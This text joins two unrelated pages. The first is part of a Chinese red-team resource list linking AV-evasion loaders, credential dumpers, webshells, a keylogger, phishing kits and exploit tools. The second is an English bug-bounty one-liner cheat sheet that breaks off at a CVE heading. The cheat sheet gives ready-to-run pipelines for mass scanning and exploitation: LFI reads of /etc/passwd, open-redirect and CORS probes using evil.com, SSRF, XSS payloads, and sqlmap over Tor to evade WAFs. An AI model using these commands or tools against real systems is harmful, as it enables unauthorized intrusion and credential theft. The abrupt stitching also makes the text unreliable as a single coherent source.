- [Zoomeye Tools-一款利用Zoomeye 获取有关当前网页IP地址的各种信息(需要登录)](https://chrome.google.com/webstore/detail/zoomeye-tools/bdoaeiibkccgkbjbmmmoemghacnkbklj)
- [360 0Kee-Team 的 crawlergo动态爬虫 结合 长亭XRAY扫描器的被动扫描功能](https://github.com/timwhitez/crawlergo_x_XRAY)
- [内网神器Xerosploit-娱乐性质(端口扫描|DoS攻击|HTML代码注入|JavaScript代码注入|下载拦截和替换|嗅探攻击|DNS欺骗|图片替换|Web页面篡改|Drifnet)](https://github.com/LionSec/xerosploit)
- [一个包含php,java,python,C#等各种语言版本的XXE漏洞Demo](https://github.com/c0ny1/xxe-lab)
- [内网常见渗透工具包](https://github.com/yuxiaokui/Intranet-Penetration)
- [从内存中加载 SHELLCODE bypass AV查杀](https://github.com/brimstone/go-shellcode)|[twitter示例](https://twitter.com/jas502n/status/1213847002947051521)
- [流量转发工具-pingtunnel是把tcp/udp/sock5流量伪装成icmp流量进行转发的工具](https://github.com/esrrhs/pingtunnel)
- [内网渗透-创建Windows用户(当net net1 等常见命令被过滤时,一个文件执行直接添加一个管理员【需要shell具有管理员权限l】](https://github.com/newsoft/adduser)|[adduser使用方法](./adduser添加用户.md)
- [pypykatz-通过python3实现完整的Mimikatz功能(python3.6+)](https://github.com/skelsec/pypykatz)
- [【windows】Bypassing AV via in-memory PE execution-通过在内存中加载多次XOR后的payload来bypass杀软](https://blog.dylan.codes/bypassing-av-via/)|[作者自建gitlab地址](https://git.dylan.codes/batman/darkarmour)
- [wafw00f-帮助你快速识别web应用是否使用何种WAF(扫描之前很有用)](https://github.com/EnableSecurity/wafw00f)
- [Linux提取其他用户密码的工具(需要root权限)](https://github.com/huntergregal/mimipenguin)
- [apache2_BackdoorMod-apache后门模块](https://github.com/VladRico/apache2_BackdoorMod)
- [对密码已保存在 Windwos 系统上的部分程序进行解析,包括：Navicat,TeamViewer,FileZilla,WinSCP,Xmangager系列产品（Xshell,Xftp)](https://github.com/uknowsec/SharpDecryptPwd)
- [一个简单探测jboss漏洞的工具](https://github.com/GGyao/jbossScan)
- [一款lcx在golang下的实现-适合内网代理流量到公网,比如阿里云的机器代理到你的公网机器](https://github.com/cw1997/NATBypass)
- [Cobalt Strike Aggressor 插件包](https://github.com/timwhitez/Cobalt-Strike-Aggressor-Scripts)
- [Erebus-Cobalt Strike后渗透测试插件,包括了信息收集、权限获取、密码获取、痕迹清除等等常见的脚本插件](https://github.com/DeEpinGh0st/Erebus)
- [IP/IP段资产扫描-->扫描开放端口识别运行服务部署网站-->自动化整理扫描结果-->输出可视化报表+整理结果](https://github.com/LangziFun/LangNetworkTopology3)
- [A script to scan for unsecured Laravel .env files](https://github.com/tismayil/laravelN00b)
- [Struts2漏洞扫描Golang版-【特点:单文件、全平台支持、可在webshell下使用】](https://github.com/x51/STS2G)
- [Shiro<=1.2.4反序列化，一键检测工具](https://github.com/sv3nbeast/ShiroScan)|[Apache shiro <= 1.2.4 rememberMe 反序列化漏洞利用工具](https://github.com/acgbfull/Apache_Shiro_1.2.4_RCE)
- [完整weblogic 漏洞扫描工具修复版](https://github.com/0xn0ne/weblogicScanner)
- [GitHub敏感信息泄露监控](https://github.com/FeeiCN/GSIL)
- [Java安全相关的漏洞和技术demo](https://github.com/threedr3am/learnjavabug)
- [在线扫描-网站基础信息获取|旁站|端口扫描|信息泄露](https://scan.top15.cn/web/)
- [bayonet是一款src资产管理系统，从子域名、端口服务、漏洞、爬虫等一体化的资产管理系统](https://github.com/CTF-MissFeng/bayonet)
- [内网渗透中常用的c#程序整合成cs脚本，直接内存加载](https://github.com/uknowsec/SharpToolsAggressor)
- [【漏洞库】又一个各种漏洞poc、Exp的收集或编写](https://github.com/coffeehb/Some-PoC-oR-ExP)
- [【内网代理】内网渗透代理转发利器reGeorg](https://github.com/sensepost/reGeorg)|**相关文章:**[配置reGeorg+Proxifier渗透内网](https://www.k0rz3n.com/2018/07/06/如何使用reGeorg+Proxifier渗透内网)|[reGeorg+Proxifier实现内网sock5代理](http://jean.ink/2018/04/26/reGeorg/)|[内网渗透之reGeorg+Proxifier](https://sky666sec.github.io/2017/12/16/内网渗透之reGeorg-Proxifier)|[reGeorg+Proxifier使用](https://xz.aliyun.com/t/228)
- [【内网代理】Neo-reGeorg重构的reGeorg ](https://github.com/L-codes/Neo-reGeorg)
- [【内网代理】Tunna-通过http隧道将TCP流量代理出来](https://github.com/SECFORCE/Tunna)
- [【内网代理】proxy.php-单文件版的php代理](https://github.com/mcnemesis/proxy.php)
- [【内网代理】pivotnacci-通过HTTP隧道将TCP流量代理出来或进去](https://github.com/blackarrowsec/pivotnacci)
- [【内网代理】毒刺(pystinger)通过webshell实现**内网SOCK4代理**,**端口映射**.](https://github.com/FunnyWolf/pystinger)|[pystinger.zip-下载](./tools/pystinger.zip)
- [【内网代理】php-proxy-app-一款代理访问网站的工具](https://github.com/Athlon1600/php-proxy-app)
- [get_Team_Pass-获取目标机器上的teamviewerID和密码(你需要具有有效的目标机器账号密码且目标机器445端口可以被访问(开放445端口))](https://github.com/kr1shn4murt1/get_Team_Pass/)
- [chromepass-获取chrome保存的账号密码/cookies-nirsoft出品在win10+chrome 80测试OK](./tools/chromepass/)|[SharpChrome-基于.NET 2.0的开源获取chrome保存过的账号密码/cookies/history](https://github.com/djhohnstein/SharpChrome)|[ChromePasswords-开源获取chrome密码/cookies工具](https://github.com/malcomvetter/ChromePasswords)
- [java-jdwp远程调试利用](https://github.com/Lz1y/jdwp-shellifier)|相关文章:[jdwp远程调试与安全](https://qsli.github.io/2018/08/12/jdwp/)
- [社会工程学密码生成器，是一个利用个人信息生成密码的工具](https://github.com/zgjx6/SocialEngineeringDictionaryGenerator)
- [云业CMS(yunyecms)的多处SQL注入审计分析](./books/云业CMS(yunyecms)的多处SQL注入审计分析.pdf)|[原文地址](https://xz.aliyun.com/t/7302)|[官网下载地址](http://www.yunyecms.com/index.php?m=version&c=index&a=index)|[sqlmap_yunyecms_front_sqli_tamp.py](./tools/sqlmap_yunyecms_front_sqli_tamp.py)
- [www.flash.cn 的钓鱼页，中文+英文](https://github.com/r00tSe7en/Fake-flash.cn)
- [织梦dedecms全版本漏洞扫描](https://github.com/Mr-xn/dedecmscan)
- [CVE、CMS、中间件漏洞检测利用合集 Since 2019-9-15](https://github.com/mai-lang-chai/Middleware-Vulnerability-detection)
- [Dirble -快速目录扫描和爬取工具【比dirsearch和dirb更快】](https://github.com/nccgroup/dirble)
- [RedRabbit - Red Team PowerShell脚本](https://github.com/securethelogs/RedRabbit)
- [Pentest Tools Framework - 渗透测试工具集-适用于Linux系统](https://github.com/pikpikcu/Pentest-Tools-Framework)
- [白鹿社工字典生成器，灵活与易用兼顾。](https://github.com/HongLuDianXue/BaiLu-SED-Tool)
- [NodeJsScan-一款转为Nodejs进行静态代码扫描开发的工具](https://github.com/ajinabraham/NodeJsScan)
- [一款国人根据poison ivy重写的远控](https://github.com/killeven/Poison-Ivy-Reload)
- [NoXss-可配合burpsuite批量检测XSS](https://github.com/lwzSoviet/NoXss)
- [fofa 采集脚本](https://raw.githubusercontent.com/ggg4566/SomeTools/master/fofa_search.py)
- [java web 压缩文件 安全 漏洞](https://github.com/jas502n/Java-Compressed-file-security)
- [可以自定义规则的密码字典生成器,支持图形界面](https://github.com/bit4woo/passmaker)
- [dump lass 工具(绕过/干掉卡巴斯基)](./books/dump%20lass%20工具.pdf)|[loader.zip下载](./tools/loader.zip)
- [GO语言版本的mimikatz-编译后免杀](https://github.com/vyrus001/go-mimikatz)
- [CVE-2019-0708-批量检测扫描工具](./tools/cve0708.rar)
- [dump lsass的工具](https://github.com/outflanknl/Dumpert)|[又一个dump lsass的工具](https://github.com/7hmA3s/dump_lsass)
- [Cobalt Strike插件 - RDP日志取证&清除](https://github.com/QAX-A-Team/EventLogMaster)
- [xencrypt-一款利用powershell来加密并采用Gzip/DEFLATE来绕过杀软的工具](https://github.com/the-xentropy/xencrypt)
- [SessionGopher-一款采用powershell来解密Windows机器上保存的session文件，例如： WinSCP, PuTTY, SuperPuTTY, FileZilla, and Microsoft Remote Desktop，支持远程加载和本地加载使用](https://github.com/Arvanaghi/SessionGopher)
- [CVE-2020-0796 Local Privilege Escalation POC-python版本](https://github.com/ZecOps/CVE-2020-0796-LPE-POC)|[CVE-2020-0796 Remote Code Execution POC](https://github.com/ZecOps/CVE-2020-0796-RCE-POC)
- [Windows杀软在线对比辅助](https://github.com/r00tSe7en/get_AV)
- [递归式寻找域名和api](https://github.com/p1g3/JSINFO-SCAN)
- [mssqli-duet-用于mssql的sql注入脚本,使用RID爆破,从Active Directory环境中提取域用户](https://github.com/Keramas/mssqli-duet)
- [【Android脱壳】之一键提取APP敏感信息](https://github.com/TheKingOfDuck/ApkAnalyser)
- [Shiro系列漏洞检测GUI版本-ShiroExploit GUI版本](https://github.com/feihong-cs/ShiroExploit_GUI)
- [通过phpinfo获取cookie突破httponly](./通过phpinfo获取cookie突破httponly.md)
- [phpstudy RCE 利用工具 windows GUI版本](https://github.com/aimorc/phpstudyrce)
- [WebAliveScan-根据端口快速扫描存活的WEB](https://github.com/broken5/WebAliveScan)
- [扫描可写目录.aspx](./tools/扫描可写目录.aspx)
- [PC客户端（C-S架构）渗透测试](https://github.com/theLSA/CS-checklist)
- [wsltools-web扫描辅助python库](https://github.com/Symbo1/wsltools)
- [struts2_check-用于识别目标网站是否采用Struts2框架开发的工具](https://github.com/coffeehb/struts2_check)
- [sharpmimi.exe-免杀版mimikatz](./tools/sharpmimi.exe)
- [thinkPHP代码执行批量检测工具](https://github.com/admintony/thinkPHPBatchPoc)
- [pypykatz-用纯Python实现的Mimikatz](https://github.com/skelsec/pypykatz)
- [Flux-Keylogger-具有Web面板的现代Javascript键盘记录器](https://github.com/LimerBoy/Flux-Keylogger)
- [JSINFO-SCAN-递归式寻找域名和api](https://github.com/p1g3/JSINFO-SCAN)
- [FrameScan-GUI 一款python3和Pyqt编写的具有图形化界面的cms漏洞检测框架](https://github.com/qianxiao996/FrameScan-GUI)
- [SRC资产信息聚合网站](https://github.com/cckuailong/InformationGather)
- [Spring Boot Actuator未授权访问【XXE、RCE】单/多目标检测](https://github.com/rabbitmask/SB-Actuator)
- [JNDI 注入利用工具【Fastjson、Jackson 等相关漏洞】](https://github.com/JosephTribbianni/JNDI)
- [各种反弹shell的语句集合页面](https://krober.biz/misc/reverse_shell.php)
- [解密weblogic AES或DES加密方法](https://github.com/Ch1ngg/WebLogicPasswordDecryptorUi)
- [使用 sshLooterC 抓取 SSH 密码](https://github.com/mthbernardes/sshLooterC)|[相关文章](https://www.ch1ng.com/blog/208.html)|[本地版本](./books/使用sshLooterC抓取SSH密码.pdf)
- [redis-rogue-server-Redis 4.x/5.x RCE](https://github.com/AdministratorGithub/redis-rogue-server)
- [ew-内网穿透(跨平台)](https://github.com/idlefire/ew)
- [xray-weblisten-ui-一款基于GO语言写的Xray 被动扫描管理](https://github.com/virink/xray-weblisten-ui)
- [SQLEXP-SQL 注入利用工具，存在waf的情况下自定义编写tamper脚本 dump数据](https://github.com/ggg4566/SQLEXP)
- [SRC资产在线管理系统 - Shots](https://github.com/broken5/Shots)
- [luject：可以将动态库静态注入到指定应用程序包的工具，目前支持Android/iPhonsOS/Windows/macOS/Linux](https://github.com/lanoox/luject)|[相关文章](https://tboox.org/cn/2020/04/26/luject/)
- [CursedChrome：Chrome扩展植入程序，可将受害Chrome浏览器转变为功能齐全的HTTP代理，使你能够以受害人身份浏览网站](https://github.com/mandatoryprogrammer/CursedChrome)
- [pivotnacci：通过HTTP隧道进行Socks连接](https://github.com/blackarrowsec/pivotnacci)
- [PHPFuck-一款适用于php7以上版本的代码混淆](https://github.com/splitline/PHPFuck)|[[PHPFuck在线版本](https://splitline.github.io/PHPFuck/)
- [冰蝎 bypass open_basedir 的马](./tools/冰蝎bypass_open_basedir_shell.md)
- [goproxy heroku 一键部署套装，把heroku变为免费的http(s)\socks5代理](https://github.com/snail007/goproxy-heroku)
- [自己收集整理的端口、子域、账号密码、其他杂七杂八字典，用于自己使用](https://github.com/cwkiller/Pentest_Dic)
- [xFTP6密码解密](./tools/xFTP6密码解密.md)
- [Mars-战神TideSec出品的WDScanner的重写一款综合的漏洞扫描,资产发现/变更,域名监控/子域名挖掘,Awvs扫描,POC检测,web指纹探测、端口指纹探测、CDN探测、操作系统指纹探测、泛解析探测、WAF探测、敏感信息检测等等工具](https://github.com/TideSec/Mars)
- [Shellcode Compiler：用于生成Windows 和 Linux平台的shellcode工具](https://github.com/NytroRST/ShellcodeCompiler)
- [BadDNS 是一款使用 Rust 开发的使用公共 DNS 服务器进行多层子域名探测的极速工具](https://github.com/joinsec/BadDNS)
- [【Android脱壳】XServer是一个用于对方法进行分析的Xposed插件](https://github.com/monkeylord/XServer)|[相关文章：Xposed+XServer无需脱壳抓取加密包](https://xz.aliyun.com/t/7669)|[使用xserver对某应用进行不脱壳抓加密包](https://blog.csdn.net/nini_boom/article/details/104400619)
- [masscan_to_nmap-基于masscan和nmap的快速端口扫描和指纹识别工具](https://github.com/7dog7/masscan_to_nmap)
- [Evilreg -使用Windows注册表文件的反向Shell (.Reg)](https://github.com/thelinuxchoice/evilreg)
- [Shecodject工具使用python注入shellcode bypass 火絨,360,windows defender](https://github.com/TaroballzChen/Shecodject)
- [Malleable-C2-Profiles-Cobalt Strike的C2隐藏配置文件相关](https://github.com/xx0hcd/Malleable-C2-Profiles)|[渗透利器Cobalt Strike - 第2篇 APT级的全面免杀与企业纵深防御体系的对抗](https://xz.aliyun.com/t/4191)
- [AutoRemove-自动卸载360](https://github.com/DeEpinGh0st/AutoRemove)
- [ligolo：用于渗透时反向隧道连接工具](https://github.com/sysdream/ligolo)
- [RMIScout: Java RMI爆破工具](https://github.com/BishopFox/rmiscout)
- [【Android脱壳】FRIDA-DEXDump-【使用Frida来进行Android脱壳】](https://github.com/hluwa/FRIDA-DEXDump)
- [Donut-Shellcode生成工具](https://github.com/TheWover/donut)
- [JSP-Webshells集合【2020最新bypass某云检测可用】](https://github.com/threedr3am/JSP-Webshells)
- [one-scan-多合一网站指纹扫描器，轻松获取网站的 IP / DNS 服务商 / 子域名 / HTTPS 证书 / WHOIS / 开发框架 / WAF 等信息](https://github.com/Jackeriss/one-scan)
- [ServerScan一款使用Golang开发的高并发网络扫描、服务探测工具。](https://github.com/Adminisme/ServerScan)
- [域渗透-Windows hash dump之secretsdump.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py)|[相关文章](https://github.com/PythonPig/PythonPig.github.io/blob/730be0e55603df96f45680c25c56ba8148052d2c/_posts/2019-07-16-Windows%20hash%20dump%E4%B9%8Bsecretsdump.md)
- [WindowsVulnScan：基于主机的漏洞扫描工【类似windows-exp-suggester】](https://github.com/chroblert/WindowsVulnScan)
- [基于实战沉淀下的各种弱口令字典](https://github.com/klionsec/SuperWordlist)
- [SpoofWeb：一键部署HTTPS钓鱼站](https://github.com/klionsec/SpoofWeb)
- [VpsEnvInstall：一键部署VPS渗透环境](https://github.com/klionsec/VpsEnvInstall)
- [tangalanga：Zoom会议扫描工具](https://github.com/elcuervo/tangalanga)
- [碎遮SZhe_Scan Web漏洞扫描器，基于python Flask框架，对输入的域名/IP进行全面的信息搜集，漏洞扫描，可自主添加POC](https://github.com/Cl0udG0d/SZhe_Scan)
- [Taie-RedTeam-OS-泰阿安全实验室-基于XUbuntu私人订制的红蓝对抗渗透操作系统](https://github.com/taielab/Taie-RedTeam-OS)
- [naiveproxy-一款用C语言编写类似于trojan的代理工具](https://github.com/klzgrad/naiveproxy)
- [BrowserGhost-一个抓取浏览器密码的工具，后续会添加更多功能](https://github.com/QAX-A-Team/BrowserGhost)
- [GatherInfo-渗透测试信息搜集/内网渗透信息搜集](https://github.com/Paper-Pen/GatherInfo)
- [EvilPDF：一款把恶意文件嵌入在 PDF 中的工具](https://github.com/thelinuxchoice/evilpdf)
- [SatanSword-红队综合渗透框架，支持web指纹识别、漏洞PoC检测、批量web信息和端口信息查询、路径扫描、批量JS查找子域名、使用google headless、协程支持、完整的日志回溯](https://github.com/Lucifer1993/SatanSword)
- [Get-WeChat-DB-获取目标机器的微信数据库和密钥](https://github.com/A2kaid/Get-WeChat-DB)
- [ThinkphpRCE-支持代理IP池的批量检测Thinkphp漏洞或者日志泄露的py3脚本](https://github.com/sukabuliet/ThinkphpRCE)
- [fakelogonscreen-伪造（Windows）系统登录页面,截获密码](https://github.com/bitsadmin/fakelogonscreen)
- [WMIHACKER-仅135端口免杀横向移动](https://github.com/360-Linton-Lab/WMIHACKER)|[使用方法以及介绍](./books/WMIHACKER（仅135端口免杀横向移动）.pdf)|[横向移动工具WMIHACKER](./books/横向移动工具WMIHACKER.pdf)|[原文链接](https://www.anquanke.com/post/id/209665)
- [cloud-ranges-部分公有云IP地址范围](https://github.com/pry0cc/cloud-ranges)
- [sqltools_ch-sqltools2.0汉化增强版](./ttools/sqltools_ch.rar)
- [railgun-poc_1.0.1.7-多功能端口扫描/爆破/漏洞利用/编码转换等](./tools/railgun-poc_1.0.1.7.zip)
- [dede_funcookie.php-DEDECMS伪随机漏洞分析 (三) 碰撞点(爆破，伪造管理员cookie登陆后台getshell](./tools/dede_funcookie.php)
- [WAScan-一款功能强大的Web应用程序扫描工具【基于python开发的命令行扫描器】](https://github.com/m4ll0k/WAScan)
- [Peinject_dll-CS插件之另类持久化方法-PE感染](https://github.com/m0ngo0se/Peinject_dll)
- [MSSQL_BackDoor-摆脱MSSMS和 Navicat 调用执行 sp_cmdExec](https://github.com/evi1ox/MSSQL_BackDoor)
- [xShock-一款针对Shellshock漏洞的利用工具【例如低版本cgi的默认配置页面进行利用】](https://github.com/capture0x/xShock/)
- [tini-tools-针对红蓝对抗各个场景使用的小工具-【主要是Java写的工具】【目前有phpstudy.jar和域名转IP工具.jar】](https://github.com/sunird/tini-tools)
- [code6-码小六是一款 GitHub 代码泄露监控系统，通过定期扫描 GitHub 发现代码泄露行为](https://github.com/4x99/code6)
- [taowu-cobalt-strike-适用于cobalt strike3.x与cobalt strike4.x的插件](https://github.com/pandasec888/taowu-cobalt-strike)
- [Weblogic-scan-Weblogic 漏洞批量扫描工具](./tools/Weblogic-scan)
- [revp：反向HTTP代理，支持Linux，Windows和macOS](https://github.com/jafarlihi/revp)
- [fofa2Xray-一款联合fofa与xray的自动化批量扫描工具,使用Golang编写，适用于windows与linux](https://github.com/piaolin/fofa2Xray)
- [CasExp-Apereo CAS 反序列化利用工具](https://github.com/potats0/CasExp)
- [C_Shot-shellcode远程加载器](https://github.com/anthemtotheego/C_Shot)|[相关文章](./books/C_shot–shellcode远程加载器.pdf)
- [dz_ml_rce.py-Discuz! ml RCE漏洞利用工具](./tools/dz_ml_rce.py)
- [Redis未授权访问漏洞利用工具](./tools/Redis_Exp-by_PANDA墨森.zip)
- [Shiro 回显利用工具](./tools/shiroPoc-1.0-SNAPSHOT-jar-with-dependencies_20200726_130831.jar)|[相关文章](./books/Shiro_回显利用工具.pdf)
- [GetIPinfo-用于寻找多网卡主机方便内网跨网段渗透避免瞎打找不到核心网](https://github.com/r35tart/GetIPinfo)
- [Layer子域名挖掘机-Layer5.0 SAINTSEC](https://github.com/euphrat1ca/LayerDomainFinder)
- [cve_2020_14644.jar-Weblogic 远程命令执行漏洞（CVE-2020-14644）回显利用工具](./tools/cve_2020_14644.jar)
- [TechNet-Gallery-PowerShell武器库](https://github.com/MScholtes/TechNet-Gallery)|[Powershell ebserver：PowerShell实现的Web服务器，无需IIS，支持PowerShell命令执行、脚本执行、上传、下载等功能](https://github.com/MScholtes/TechNet-Gallery/tree/master/Powershell%20Webserver)|[PS2EXE-GUI：将PowerShell脚本转换为EXE文件](https://github.com/MScholtes/TechNet-Gallery/tree/master/PS2EXE-GUI)
- [spybrowse：窃取指定浏览器的配置文件](https://github.com/1d8/spybrowse)
- [FavFreak：执行基于favicon.ico的侦察](https://github.com/devanshbatham/FavFreak)
- [gorailgun_v1.0.7-集漏洞端口扫描利用于一体的工具](./tools/gorailgun_v1.0.7.zip)
- [【shell管理工具】Godzilla-哥斯拉](https://github.com/BeichenDream/Godzilla)|[AntSword-蚁剑](https://github.com/AntSwordProject)|[Behinder-冰蝎](https://github.com/rebeyond/Behinder)
- [由python编写打包的Linux下自动巡检工具](./tools/linux_auto_xunjian)|[源处](https://github.com/heikanet/linux_auto_xunjian)
- [【内网探测】SharpNetCheck-批量检测机器是否有出网权限，可在dnslog中回显内网ip地址和计算机名，可实现内网中的快速定位可出网机器](https://github.com/uknowsec/SharpNetCheck)
- [fofa搜索增强版-使用fofa的url+cookies即可自动下载所有结果](./tools/fofa搜索增强版.zip)
- [SharpBlock-A method of bypassing EDR's active projection DLL's by preventing entry point exection](https://github.com/CCob/SharpBlock)|[相关文章](https://www.pentestpartners.com/security-blog/patchless-amsi-bypass-using-sharpblock/)
- [bypasswaf-云锁数字型注入tamper/安全狗的延时、布尔、union注入绕过tamper](https://github.com/pureqh/bypasswaf)
- [通达OA 2017 版本SQL注入脚本](./tools/tongda_oa_2017_sql_injection.py)
- [t14m4t：一款封装了THC-Hydra和Nmap的自动化爆破工具](https://github.com/MS-WEB-BN/t14m4t)
## <span id="head8"> 文章/书籍/教程相关</span>
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- [Cobalt Strike 4.0 更新内容介绍](./books/Cobalt%20Strike%204.0%20更新内容介绍.pdf)
- [Cobal_Strike_自定义OneLiner](./books/Cobal_Strike_自定义OneLiner_Evi1cg's_blog.pdf)
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- [渗透测试神器Cobalt Strike使用教程](./books/渗透测试神器Cobalt%20Strike使用教程.pdf)
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- [Django_CVE-2020-9402_Geo_SQL注入分析](./books/Django_CVE-2020-9402_Geo_SQL注入分析.pdf)
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- [bypass CSP](https://medium.com/bugbountywriteup/content-security-policy-csp-bypass-techniques-e3fa475bfe5d)|[Content-Security-Policy(CSP)Bypass_Techniques](./books/Content-Security-Policy(CSP)Bypass_Techniques.pdf)
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- [绕过AMSI执行powershell脚本](./books/绕过AMSI执行powershell脚本.md)|[AmsiScanBufferBypass-相关项目](https://github.com/rasta-mouse/AmsiScanBufferBypass)
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- [YzmCMS代码审计](./books/YzmCMS代码审计.pdf)
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## <span id="head9"> 说明</span>
### 免责声明
> 1.此项目所有文章、代码部分来源于互联网，版权归原作者所有，转载留存的都会写上原著出处，如有遗漏，还请说明，谢谢！
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### 喜讯
在`2020-08-16`登上`GitHub`的`Trending`日榜，谢谢大家支持，谢谢那些在freebuf和公众号推荐的师傅，我会继续努力，期待有靠谱的师傅一起来维护优化，感兴趣的邮箱联系我吧！
### 最后，选一个屁股吧！
|
# One-Liners [](https://awesome.re)
###### Thanks to all who create these Awesome One Liners❤️
----------------------
---------------------------
# Subdomain Enumeration
**Juicy Subdomains**
```
subfinder -d target.com -silent | dnsprobe -silent | cut -d ' ' -f1 | grep --color 'api\|dev\|stg\|test\|admin\|demo\|stage\|pre\|vpn'
```
**from BufferOver.run**
```
curl -s https://dns.bufferover.run/dns?q=.target.com | jq -r .FDNS_A[] | cut -d',' -f2 | sort -u
```
**from Riddler.io**
```
curl -s "https://riddler.io/search/exportcsv?q=pld:target.com" | grep -Po "(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u
```
**from nmap**
```
nmap --script hostmap-crtsh.nse target.com
```
**from CertSpotter**
```
curl -s "https://certspotter.com/api/v1/issuances?domain=target.com&include_subdomains=true&expand=dns_names" | jq .[].dns_names | grep -Po "(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u
```
**from Archive**
```
curl -s "http://web.archive.org/cdx/search/cdx?url=*.target.com/*&output=text&fl=original&collapse=urlkey" | sed -e 's_https*://__' -e "s/\/.*//" | sort -u
```
**from JLDC**
```
curl -s "https://jldc.me/anubis/subdomains/target.com" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u
```
**from crt.sh**
```
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u
```
**from ThreatMiner**
```
curl -s "https://api.threatminer.org/v2/domain.php?q=target.com&rt=5" | jq -r '.results[]' |grep -o "\w.*target.com" | sort -u
```
**from Anubis**
```
curl -s "https://jldc.me/anubis/subdomains/target.com" | jq -r '.' | grep -o "\w.*target.com"
```
**from ThreatCrowd**
```
curl -s "https://www.threatcrowd.org/searchApi/v2/domain/report/?domain=target.com" | jq -r '.subdomains' | grep -o "\w.*target.com"
```
**from HackerTarget**
```
curl -s "https://api.hackertarget.com/hostsearch/?q=target.com"
```
***SubDomain Bruteforcing - ffuf***
```
ffuf -u https://FUZZ.target.com -w dns.txt -v | grep "| URL |" | awk '{print $4}'
```
--------
## Subdomain Takeover:
```
cat subs.txt | xargs -P 50 -I % bash -c "dig % | grep CNAME" | awk '{print $1}' | sed 's/.$//g' | httpx -silent -status-code -cdn -csp-probe -tls-probe
```
-------------------------------
## LFI:
```
cat hosts | gau | gf lfi | httpx -paths lfi_wordlist.txt -threads 100 -random-agent -x GET,POST -tech-detect -status-code -follow-redirects -mc 200 -mr "root:[x*]:0:0:"
```
```
waybackurls target.com | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
```
```
cat targets.txt | while read host do ; do curl --silent --path-as-is --insecure "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" | grep "root:*" && echo "$host \033[0;31mVulnerable\n";done
```
----------------------
## Open Redirect:
```
waybackurls target.com | grep -a -i \=http | qsreplace 'http://evil.com' | while read host do;do curl -s -L $host -I| grep "http://evil.com" && echo -e "$host \033[0;31mVulnerable\n" ;done
```
```
cat subs.txt| waybackurls | gf redirect | qsreplace 'http://example.com' | httpx -fr -title -match-string 'Example Domain'
```
-----------------------
## SSRF:
```
cat wayback.txt | gf ssrf | sort -u |anew | httpx | qsreplace 'burpcollaborator_link' | xargs -I % -P 25 sh -c 'curl -ks "%" 2>&1 | grep "compute.internal" && echo "SSRF VULN! %"'
```
```
cat wayback.txt | grep "=" | qsreplace "burpcollaborator_link" >> ssrf.txt; ffuf -c -w ssrf.txt -u FUZZ
```
----------------
## XSS:
```
cat domains.txt | waybackurls | grep -Ev "\.(jpeg|jpg|png|ico)$" | uro | grep = | qsreplace "<img src=x onerror=alert(1)>" | httpx -silent -nc -mc 200 -mr "<img src=x onerror=alert(1)>"
```
```
gau target.com grep '='| qsreplace hack\" -a | while read url;do target-$(curl -s -l $url | egrep -o '(hack" | hack\\")'); echo -e "Target : \e[1;33m $url\e[om" "$target" "\n -"; done I sed 's/hack"/[xss Possible] Reflection Found/g'
```
```
cat hosts.txt | httpx -nc -t 300 -p 80,443,8080,8443 -silent -path "/?name={{this.constructor.constructor('alert(\"foo\")')()}}" -mr "name={{this.constructor.constructor('alert("
```
```
cat targets.txt | waybackurls | httpx -silent | Gxss -c 100 -p Xss | grep "URL" | cut -d '"' -f2 | sort -u | dalfox pipe
```
```
waybackurls target.com | grep '=' |qsreplace '"><script>alert(1)</script>' | while read host do ; do curl -s --path-as-is --insecure "$host" | grep -qs "<script>alert(1)</script>" && echo "$host \033[0;31m" Vulnerable;done
```
```
cat urls.txt | grep "=" | sed ‘s/=.*/=/’ | sed ‘s/URL: //’ | tee testxss.txt ; dalfox file testxss.txt -b yours.xss.ht
```
```
cat targets.txt | ffuf -w - -u "FUZZ/sign-in?next=javascript:alert(1);" -mr "javascript:alert(1)"
```
```
cat subs.txt | awk '{print $3}'| httpx -silent | xargs -I@ sh -c 'python3 http://xsstrike.py -u @ --crawl'
```
---------------------
## Hidden Dirs:
```
dirsearch -l urls.txt -e conf,config,bak,backup,swp,old,db,sql,asp,aspx,aspx~,asp~,py,py~,rb,rb~,php,php~,bak,bkp,cache,cgi,conf,csv,html,inc,jar,js,json,jsp,jsp~,lock,log,rar,old,sql,sql.gz,sql.zip,sql.tar.gz,sql~,swp,swp~,tar,tar.bz2,tar.gz,txt,wadl,zip,log,xml,js,json --deep-recursive --force-recursive --exclude-sizes=0B --random-agent --full-url -o output.txt
```
```
ffuf -c -w urls.txt:FUZZ1 -w wordlist.txt:FUZZ2 -u FUZZ1/FUZZ2 -mc 200 -ac -v -of json -o output
```
## ffuf json to txt output
```
cat output.json | jq | grep -o '"url": ".*"' | grep -o 'https://[^"]*'
```
**Search for Sensitive files from Wayback**
```
waybackurls domain.com| grep - -color -E "1.xls | \\. xml | \\.xlsx | \\.json | \\. pdf | \\.sql | \\. doc| \\.docx | \\. pptx| \\.txt| \\.zip| \\.tar.gz| \\.tgz| \\.bak| \\.7z| \\.rar"
```
```
cat hosts.txt | httpx -nc -t 300 -p 80,443,8080,8443 -silent -path "/s/123cfx/_/;/WEB-INF/classes/seraph-config.xml" -mc 200
```
-------------------
## SQLi:
```
cat subs.txt | httpx -silent | anew | waybackurls | gf sqli >> sqli ; sqlmap -m sqli -batch --random-agent --level 5 --risk 3
```
***Bypass WAF using TOR***
```
sqlmap -r request.txt --time-sec=10 --tor --tor-type=SOCKS5 --check-tor
```
----------------
## CORS:
```
gau "http://target.com" | while read url;do target=$(curl -s -I -H "Origin: https://evil.com" -X GET $url) | if grep 'https://evil.com'; then [Potentional CORS Found]echo $url;else echo Nothing on "$url";fi;done
```
---------------
## Prototype Pollution:
```
subfinder -d target.com -all -silent | httpx -silent -threads 300 | anew -q alive.txt && sed 's/$/\/?__proto__[testparam]=exploit\//' alive.txt | page-fetch -j 'window.testparam == "exploit"? "[VULNERABLE]" : "[NOT VULNERABLE]"' | sed "s/(//g" | sed "s/)//g" | sed "s/JS //g" | grep "VULNERABLE"
```
-------------
## CVEs:
### CVE-2020-5902:
```
